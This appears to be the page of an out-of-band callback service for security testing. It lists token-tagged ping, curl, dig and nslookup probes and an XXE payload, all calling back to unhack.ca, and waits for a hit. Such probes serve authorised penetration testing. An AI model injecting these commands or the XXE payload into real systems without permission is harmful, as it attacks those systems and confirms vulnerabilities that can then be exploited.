$ ping -c1 -p 00daf10c523def0cfba850d00c3bd000 unhack.ca
 
$ curl http://unhack.ca/p/daf10c523def0cfba850d00c3bd0
 
$ dig daf10c523def0cfba850d00c3bd0 @unhack.ca
 
$ dig daf10c523def0cfba850d00c3bd0.ns.unhack.ca
 
C:\> nslookup daf10c523def0cfba850d00c3bd0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/daf10c523def0cfba850d00c3bd0">]>
    <foo>&xxe;</foo>
Waiting for ping...